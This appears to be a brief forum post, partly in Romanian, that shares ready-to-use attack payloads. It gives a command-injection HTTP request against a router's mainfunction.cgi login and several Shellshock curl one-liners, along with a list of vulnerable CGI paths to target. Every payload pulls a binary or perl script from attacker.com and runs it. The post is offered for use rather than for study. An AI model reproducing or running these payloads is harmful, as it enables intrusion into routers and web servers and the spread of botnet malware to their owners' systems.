sonkw

https://bitcoin-vps.com/

"POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://attacker.com/armv7;${IFS}chmod${IFS}777${IFS}armv7;${IFS}./armv7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1"

Salut! Nu e nou dar am zis sa-l postez. curl -i -X GET -H "User-Agent: () { :;}; /bin/wget -O /tmp/perl.txt http://attacker.com/perl.txt && perl /tmp/perl.txt && rm -rf /tmp/perl.txt"" $1/PATH curl -i -X GET -H "User-Agent: () { :;}; /bin/wget http://attacker.com/ACCES_LOG" IP/PATH curl -i -X GET -H "User-Agent: () { :;}; /bin/wget -O /tmp/perl.txt http://attacker.com/perl.txt && perl /tmp/perl.txt && rm -rf /tmp/perl.txt" IP/PATH PATHS: /cgi-bin/php /cgi-bin/php4 /cgi-bin/php5 /cgi-sys/php5 /cgi-sys/defaultwebpage.cgi /cgi-sys/entropysearch.cgi